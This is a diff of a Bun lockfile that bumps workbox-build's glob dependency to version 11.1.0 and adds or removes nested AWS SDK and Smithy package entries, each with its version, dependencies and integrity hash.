"workbox-build/fs-extra": ["fs-extra@9.1.0", "", { "dependencies": { "at-least-node": "^1.0.0", "graceful-fs": "^4.2.0", "jsonfile": "^6.0.1", "universalify": "^2.0.0" } }, "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ=="],
- "workbox-build/glob": ["glob@7.2.3", "", { "dependencies": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", "inherits": "2", "minimatch": "^3.1.1", "once": "^1.3.0", "path-is-absolute": "^1.0.0" } }, "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q=="],
+ "workbox-build/glob": ["glob@11.1.0", "", { "dependencies": { "foreground-child": "^3.3.1", "jackspeak": "^4.1.1", "minimatch": "^10.1.1", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^2.0.0" }, "bin": { "glob": "dist/esm/bin.mjs" } }, "sha512-vuNwKSaKiqm7g0THUBu2x7ckSs3XJLXE+2ssL7/MfTGPLLcrJQ/4Uq1CjPTtO5cCIiRxqvN6Twy1qOwhL0Xjcw=="],
"workbox-build/pretty-bytes": ["pretty-bytes@5.6.0", "", {}, "sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg=="],
@@ -6293,6 +6555,8 @@
"@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-g2DHo08IhxV5GdY3Cpt/jr0mkTlAD39EJKN27Jb5N8Fb5qt8KG39wVKTXiTRCmHHou7lbXR8nKVU14/aRUf86w=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
+
"@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env": ["@aws-sdk/credential-provider-env@3.927.0", "", { "dependencies": { "@aws-sdk/core": "3.927.0", "@aws-sdk/types": "3.922.0", "@smithy/property-provider": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-bAllBpmaWINpf0brXQWh/hjkBctapknZPYb3FJRlBHytEGHi7TpgqBXi8riT0tc6RVWChhnw58rQz22acOmBuw=="],
"@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http": ["@aws-sdk/credential-provider-http@3.927.0", "", { "dependencies": { "@aws-sdk/core": "3.927.0", "@aws-sdk/types": "3.922.0", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/property-provider": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-jEvb8C7tuRBFhe8vZY9vm9z6UQnbP85IMEt3Qiz0dxAd341Hgu0lOzMv5mSKQ5yBnTLq+t3FPKgD9tIiHLqxSQ=="],
@@ -6317,6 +6581,12 @@
"@aws-sdk/client-bedrock-agent-runtime/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.4", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-GNI/IXaY/XBB1SkGBFmbW033uWA0tj085eCxYih0eccUe/PFR7+UBQv9HNDk2fD9TJu7UVsCWsH99TkpEPSOzQ=="],
+
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.4", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-GNI/IXaY/XBB1SkGBFmbW033uWA0tj085eCxYih0eccUe/PFR7+UBQv9HNDk2fD9TJu7UVsCWsH99TkpEPSOzQ=="],
+
"@aws-sdk/client-bedrock-agent-runtime/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
"@aws-sdk/client-bedrock-agent-runtime/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
@@ -6325,6 +6595,8 @@
"@aws-sdk/client-bedrock-agent-runtime/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1" } }, "sha512-fdWuhEx4+jHLGeew9/IvqVU/fxT/ot70tpRGuOLxE3HzZOyKeTQfYeV1oaBXpzi93WOk668hjMuuagJ2/Qs7ng=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/middleware-retry/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
"@aws-sdk/client-bedrock-agent-runtime/@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-g2DHo08IhxV5GdY3Cpt/jr0mkTlAD39EJKN27Jb5N8Fb5qt8KG39wVKTXiTRCmHHou7lbXR8nKVU14/aRUf86w=="],
"@aws-sdk/client-bedrock-agent-runtime/@smithy/node-config-provider/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-y5ozxeQ9omVjbnJo9dtTsdXj9BEvGx2X8xvRgKnV+/7wLBuYJQL6dOa/qMY6omyHi7yjt1OA97jZLoVRYi8lxA=="],
@@ -6349,62 +6621,6 @@
"@aws-sdk/client-bedrock-agent-runtime/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.930.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "fast-xml-parser": "5.2.5", "tslib": "^2.6.2" } }, "sha512-YIfkD17GocxdmlUVc3ia52QhcWuRIUJonbF8A2CYfcWNV3HzvAqpcPeC0bYUhkK+8e8YO1ARnLKZQE0TlwzorA=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.6", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-P1TXDHuQMadTMTOBv4oElZMURU4uyEhxhHfn+qOc2iofW9Rd4sZtBGx58Lzk112rIGVEYZT8eUMK4NftpewpRA=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env": ["@aws-sdk/credential-provider-env@3.947.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/types": "3.936.0", "@smithy/property-provider": "^4.2.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-VR2V6dRELmzwAsCpK4GqxUi6UW5WNhAXS9F9AzWi5jvijwJo3nH92YNJUP4quMpgFZxJHEWyXLWgPjh9u0zYOA=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http": ["@aws-sdk/credential-provider-http@3.947.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/types": "3.936.0", "@smithy/fetch-http-handler": "^5.3.6", "@smithy/node-http-handler": "^4.4.5", "@smithy/property-provider": "^4.2.5", "@smithy/protocol-http": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/util-stream": "^4.5.6", "tslib": "^2.6.2" } }, "sha512-inF09lh9SlHj63Vmr5d+LmwPXZc2IbK8lAruhOr3KLsZAIHEgHgGPXWDC2ukTEMzg0pkexQ6FOhXXad6klK4RA=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini": ["@aws-sdk/credential-provider-ini@3.952.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/credential-provider-env": "3.947.0", "@aws-sdk/credential-provider-http": "3.947.0", "@aws-sdk/credential-provider-login": "3.952.0", "@aws-sdk/credential-provider-process": "3.947.0", "@aws-sdk/credential-provider-sso": "3.952.0", "@aws-sdk/credential-provider-web-identity": "3.952.0", "@aws-sdk/nested-clients": "3.952.0", "@aws-sdk/types": "3.936.0", "@smithy/credential-provider-imds": "^4.2.5", "@smithy/property-provider": "^4.2.5", "@smithy/shared-ini-file-loader": "^4.4.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-N5B15SwzMkZ8/LLopNksTlPEWWZn5tbafZAUfMY5Xde4rSHGWmv5H/ws2M3P8L0X77E2wKnOJsNmu+GsArBreQ=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process": ["@aws-sdk/credential-provider-process@3.947.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/types": "3.936.0", "@smithy/property-provider": "^4.2.5", "@smithy/shared-ini-file-loader": "^4.4.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-WpanFbHe08SP1hAJNeDdBDVz9SGgMu/gc0XJ9u3uNpW99nKZjDpvPRAdW7WLA4K6essMjxWkguIGNOpij6Do2Q=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso": ["@aws-sdk/credential-provider-sso@3.952.0", "", { "dependencies": { "@aws-sdk/client-sso": "3.948.0", "@aws-sdk/core": "3.947.0", "@aws-sdk/token-providers": "3.952.0", "@aws-sdk/types": "3.936.0", "@smithy/property-provider": "^4.2.5", "@smithy/shared-ini-file-loader": "^4.4.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-1CQdP5RzxeXuEfytbAD5TgreY1c9OacjtCdO8+n9m05tpzBABoNBof0hcjzw1dtrWFH7deyUgfwCl1TAN3yBWQ=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity": ["@aws-sdk/credential-provider-web-identity@3.952.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/nested-clients": "3.952.0", "@aws-sdk/types": "3.936.0", "@smithy/property-provider": "^4.2.5", "@smithy/shared-ini-file-loader": "^4.4.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-5hJbfaZdHDAP8JlwplNbXJAat9Vv7L0AbTZzkbPIgjHhC3vrMf5r3a6I1HWFp5i5pXo7J45xyuf5uQGZJxJlCg=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.2.6", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/property-provider": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/url-parser": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-xBmawExyTzOjbhzkZwg+vVm/khg28kG+rj2sbGlULjFd1jI70sv/cbpaR0Ev4Yfd6CpDUDRMe64cTqR//wAOyA=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.1", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tph+oQYPbpN6NamF030hx1gb5YN2Plog+GLaRHpoEDwp8+ZPG26rIJvStG9hkWzN2HBn3HcWg0sHeB0tmkYzqA=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/config-resolver/@smithy/util-config-provider": ["@smithy/util-config-provider@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-YEjpl6XJ36FTKmD+kRJJWYvrHeUvm5ykaUS5xK+6oXffQPHeEM4/nXlZPe+Wu0lsgRUcNZiliYNh/y7q9c2y6Q=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.6", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-olIfZ230B64TvPD6b0tPvrEp2eB0FkyL3KvDlqF4RVmIc/kn3orzXnV6DTQdOOW5UU+M5zKY3/BU47X420/oPw=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.6", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-olIfZ230B64TvPD6b0tPvrEp2eB0FkyL3KvDlqF4RVmIc/kn3orzXnV6DTQdOOW5UU+M5zKY3/BU47X420/oPw=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/middleware-endpoint/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.1", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tph+oQYPbpN6NamF030hx1gb5YN2Plog+GLaRHpoEDwp8+ZPG26rIJvStG9hkWzN2HBn3HcWg0sHeB0tmkYzqA=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0" } }, "sha512-Q73XBrzJlGTut2nf5RglSntHKgAG0+KiTJdO5QQblLfr4TdliGwIAha1iZIjwisc3rA5ulzqwwsYC6xrclxVQg=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/node-config-provider/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.1", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tph+oQYPbpN6NamF030hx1gb5YN2Plog+GLaRHpoEDwp8+ZPG26rIJvStG9hkWzN2HBn3HcWg0sHeB0tmkYzqA=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-YmWxl32SQRw/kIRccSOxzS/Ib8/b5/f9ex0r5PR40jRJg8X1wgM3KrR2In+8zvOGVhRSXgvyQpw9yOSlmfmSnA=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-base64/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-defaults-mode-browser/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-defaults-mode-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.2.6", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/property-provider": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/url-parser": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-xBmawExyTzOjbhzkZwg+vVm/khg28kG+rj2sbGlULjFd1jI70sv/cbpaR0Ev4Yfd6CpDUDRMe64cTqR//wAOyA=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-defaults-mode-node/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0" } }, "sha512-Q73XBrzJlGTut2nf5RglSntHKgAG0+KiTJdO5QQblLfr4TdliGwIAha1iZIjwisc3rA5ulzqwwsYC6xrclxVQg=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
-
"@aws-sdk/client-cognito-identity/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@4.1.0", "", { "dependencies": { "@smithy/is-array-buffer": "^3.0.0", "@smithy/protocol-http": "^4.1.0", "@smithy/types": "^3.3.0", "@smithy/util-hex-encoding": "^3.0.0", "@smithy/util-middleware": "^3.0.3", "@smithy/util-uri-escape": "^3.0.0", "@smithy/util-utf8": "^3.0.0", "tslib": "^2.6.2" } }, "sha512-aRryp2XNZeRcOtuJoxjydO6QTaVhxx/vjaR+gx7ZjaFgrgPRyZ3HCTbfwqYj6ZWEBHkCSUfcaymKPURaByukag=="],
"@aws-sdk/client-cognito-identity/@aws-sdk/credential-provider-node/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@3.1.4", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-qMxS4hBGB8FY2GQqshcRUy1K6k8aBWP5vwm8qKkCT3A9K2dawUwOIJfqh9Yste/Bl0J2lzosVyrXDj68kLcHXQ=="],
@@ -6443,6 +6659,8 @@
"@aws-sdk/client-kendra/@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-g2DHo08IhxV5GdY3Cpt/jr0mkTlAD39EJKN27Jb5N8Fb5qt8KG39wVKTXiTRCmHHou7lbXR8nKVU14/aRUf86w=="],
+ "@aws-sdk/client-kendra/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
+
"@aws-sdk/client-kendra/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env": ["@aws-sdk/credential-provider-env@3.927.0", "", { "dependencies": { "@aws-sdk/core": "3.927.0", "@aws-sdk/types": "3.922.0", "@smithy/property-provider": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-bAllBpmaWINpf0brXQWh/hjkBctapknZPYb3FJRlBHytEGHi7TpgqBXi8riT0tc6RVWChhnw58rQz22acOmBuw=="],
"@aws-sdk/client-kendra/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http": ["@aws-sdk/credential-provider-http@3.927.0", "", { "dependencies": { "@aws-sdk/core": "3.927.0", "@aws-sdk/types": "3.922.0", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/property-provider": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-jEvb8C7tuRBFhe8vZY9vm9z6UQnbP85IMEt3Qiz0dxAd341Hgu0lOzMv5mSKQ5yBnTLq+t3FPKgD9tIiHLqxSQ=="],
@@ -6499,10 +6717,6 @@
"@aws-sdk/client-kendra/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@aws-sdk/client-s3/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="],
-
- "@aws-sdk/client-s3/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
-
"@aws-sdk/client-sso-oidc/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@4.1.0", "", { "dependencies": { "@smithy/is-array-buffer": "^3.0.0", "@smithy/protocol-http": "^4.1.0", "@smithy/types": "^3.3.0", "@smithy/util-hex-encoding": "^3.0.0", "@smithy/util-middleware": "^3.0.3", "@smithy/util-uri-escape": "^3.0.0", "@smithy/util-utf8": "^3.0.0", "tslib": "^2.6.2" } }, "sha512-aRryp2XNZeRcOtuJoxjydO6QTaVhxx/vjaR+gx7ZjaFgrgPRyZ3HCTbfwqYj6ZWEBHkCSUfcaymKPURaByukag=="],
"@aws-sdk/client-sso-oidc/@aws-sdk/credential-provider-node/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@3.1.4", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-qMxS4hBGB8FY2GQqshcRUy1K6k8aBWP5vwm8qKkCT3A9K2dawUwOIJfqh9Yste/Bl0J2lzosVyrXDj68kLcHXQ=="],
@@ -6589,104 +6803,46 @@
"@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-utf8": ["@smithy/util-utf8@3.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^3.0.0", "tslib": "^2.6.2" } }, "sha512-rUeT12bxFnplYDe815GXbq/oixEGHfRFFtcTF3YdDi/JaENIM6aSYYLJydG83UNzLXeRI5K8abYd/8Sp/QM0kA=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.930.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "fast-xml-parser": "5.2.5", "tslib": "^2.6.2" } }, "sha512-YIfkD17GocxdmlUVc3ia52QhcWuRIUJonbF8A2CYfcWNV3HzvAqpcPeC0bYUhkK+8e8YO1ARnLKZQE0TlwzorA=="],
-
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/core": ["@smithy/core@3.19.0", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.7", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-stream": "^4.5.7", "@smithy/util-utf8": "^4.2.0", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-Y9oHXpBcXQgYHOcAEmxjkDilUbSTkgKjoHYed3WaYUH8jngq8lPWDBSpjHblJ9uOgBdy5mh3pzebrScDdYr29w=="],
-
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.6", "", { "dependencies": { "@smithy/property-provider": "^4.2.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-fYEyL59Qe82Ha1p97YQTMEQPJYmBS+ux76foqluaTVWoG9Px5J53w6NvXZNE3wP7lIicLDF7Vj1Em18XTX7fsA=="],
-
